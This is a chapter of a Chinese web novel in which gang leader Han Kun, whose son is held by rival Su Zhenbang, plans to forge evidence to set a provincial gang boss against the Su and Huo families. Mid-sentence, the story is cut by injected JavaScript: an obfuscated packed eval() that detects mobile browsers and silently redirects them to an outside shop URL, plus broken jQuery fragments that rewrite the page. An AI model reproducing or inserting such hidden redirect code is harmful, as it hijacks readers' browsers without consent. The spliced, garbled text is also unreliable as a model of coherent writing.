电话响了很久才接通。
“韩堂主,稀客。”苏振邦声音平静。
“苏振邦!少他妈装蒜!我儿子是不是在你手里?”韩坤几乎是从牙缝里一点点地挤出声音。
“韩少峰?他确实在我这儿做客。韩堂主教子无方,我替你管教管教。”
“立刻放人!不然我青龙堂跟你苏家不死不休!”
“不死不休?”苏振邦冷笑,“你儿子干了什么,你心里没数?买凶撞我儿子,差点要了他的命!这笔账怎么算?”
韩坤心中一凛,强辩道:“你有什么证据?”
“证据?人证物证俱在,够他把牢底坐穿!”苏振邦毫不退让,“韩坤,你儿子的命现在捏在我手里。是死是活,看你的表现。”
“你想怎样?”
“第一,青龙堂从今往后,不得再骚扰与我苏家有关的任何人、任何产业。”
“第二,交出指使你儿子制造车祸的幕后主使的所有信息和证据。”
“第三,赔偿我儿子的一切损失。”
苏振邦声音强势:“做到了,你儿子或许能留条命,滚出云海。做不到,就等着收尸。我给你几天时间考虑。”
“苏振邦!你欺人太甚!”
“嘟嘟嘟……”电话被挂断。
“啊——!”韩坤狂吼一声,将手中的话筒狠狠砸在地上。
随后,他在房间里如困兽般踱着步,脸色狰狞。
苏振邦的条件,特别是第二条,他绝不想答应。幕后主使是霍家三少霍明轩,交出他等于彻底得罪霍家。
可儿子……
“狼爷,现在怎么办?”手下小心翼翼问。
韩坤停下脚步,眼神阴鸷:“去,把霍三少‘请’来,就说有急事相商。”
霍明轩很快被“请”到青龙堂总部。他大喇喇坐下,翘着腿,满脸不耐:“韩堂主,有事快说!我时间宝贵。”
韩坤压下怒火:“霍少,出事了。少峰被苏振邦绑了。”
“哦?”霍明轩眉梢一挑,随即淡定道:“这关我什么事?”
韩坤低声解释道:“少峰是给你办事,才被苏振邦抓走的。”
霍明轩冷笑道:“他办事不利索,被人抓了尾巴,那是他活该!”
韩坤心中一寒:“霍少,你不能这么无情,苏振邦要我把幕后主使交出去。”
霍明轩笑容消失,眼神转冷:“你什么意思?想把我交出去?”
“霍少,当初是你找到少峰,许下承诺。现在出了事,少峰在他们手里。你说,该怎么办?”
“怎么办?”霍明轩站起身,整理袖口,语气轻蔑,“那是你们自己没擦干净屁股!我什么时候指使过韩少峰?有证据吗?”
他走到韩坤面前,俯身低语,寒意刺骨:“韩坤,饭可以乱吃,话不能乱说。你儿子自己闯的祸,自己扛。想攀咬我霍家?你青龙堂配吗?”
韩坤气得浑身发抖,拳头捏得咯咯响。
“霍明轩!当初要不是你许诺城西工程,少峰会去冒险?现在想撇干净?”
“许诺?什么许诺?”霍明轩摊手,一脸无辜,“有合同?有录音?还是有录像?”
他拍了拍韩坤肩膀,力道不轻:“听我一句,赶紧捞你儿子。别把我扯进去,否则……后果你承担不起。”
说完,他转身就走。
“站住!”韩坤低吼,门口手下挡住去路。
霍明轩停下,缓缓转身,语气冰冷:“韩坤,你想动我?试试。我霍家在云海多少年,你青龙堂算什么东西?信不信我一句话,让你在云海寸步难行!”
韩坤胸口起伏,死死瞪着霍明轩,最终挥了挥手。手下让开。
霍明轩冷哼一声,扬长而去。
看着他嚣张的背影,韩坤一脚踹碎茶几。
“霍明轩!”他咬牙切齿,眼中布满血丝。
既然霍明轩不仁,就别怪他不义!
硬拼霍家或许艰难,但对付一个霍明轩……未必没有机会。韩坤脸上露出狰狞冷笑。
然而,当务之急是救儿子。韩坤急需一股能让苏、霍两家都忌惮的外力。
他脑中闪过一个人——省城阳城,朱雀堂堂主,彭震山,“彭老鬼”。
彭老鬼的独子彭岳,之前在云海被林天虎的手下李飞打成重伤,差点丧命。这笔账,彭老鬼一直记着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339562|199290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
若能设法让彭老鬼相信,打伤彭岳的背后有苏家甚至霍家的影子,以朱雀堂的势力和彭老鬼护短记仇的性子,必会雷霆震怒。
届时,苏、霍两家面对省城顶尖压力,必会掂量。
而自己,便可借彭老鬼的势,逼苏家放人,甚至从中渔利。
想到这里,韩坤叫来两个绝对心腹,低声吩咐:“马上去办两件事。”
“第一,查彭岳受伤前后,苏家或霍家的人有没有在附近出现过,或跟林天虎有接触。没有也要‘创造’线索。”
“第二,备一份厚礼,我要上阳城见彭老鬼。”
心腹领命而去。
韩坤知道这是在走钢丝,一旦被识破或引火烧身,后果不堪设想。但为了儿子,也为了出气,他顾不得了。
次日,韩坤带着厚礼和伪造的“情报”,匆匆抵达阳城。
阳城,朱雀堂总舵。
彭震山干瘦阴鸷,盘着玉球。听完韩坤添油加醋的汇报,他手中玉球一顿。
“你是说……打我儿子的,不光是林天虎,背后还有苏家甚至霍家的影子?”彭震山声音沙哑冰冷。
“彭爷,我哪敢胡说!”韩坤一副痛心疾首状,“我派人仔细查过,李飞动手那天,苏家的周铁山就在附近,还跟李飞有过接触。苏家跟林天虎走得近,尽人皆知。”
“至于霍家,他们跟苏家是死对头,保不准想借刀杀人,故意挑事,让您和林天虎结仇,他们好坐收渔利!”
韩坤的话七分假三分真。
彭震山眯眼盯着他:“韩坤,我听说你儿子被苏家扣了?你是想借我的刀,救你儿子吧?”
韩坤心里一突,连忙道:“彭爷明鉴!我儿子确实被苏家绑了,生死不明!但我说的事,句句属实!”
“彭岳少爷在云海出事,苏家和霍家绝对脱不了干系!他们这是不把您和朱雀堂放在眼里!”
他趁机递上伪造的“线索”和厚礼单。
“彭爷,这是我查到的东西,还有一点心意。我只求您主持公道,替我,也替彭岳少爷讨个说法!只要您发话,青龙堂上下,唯您马首是瞻!”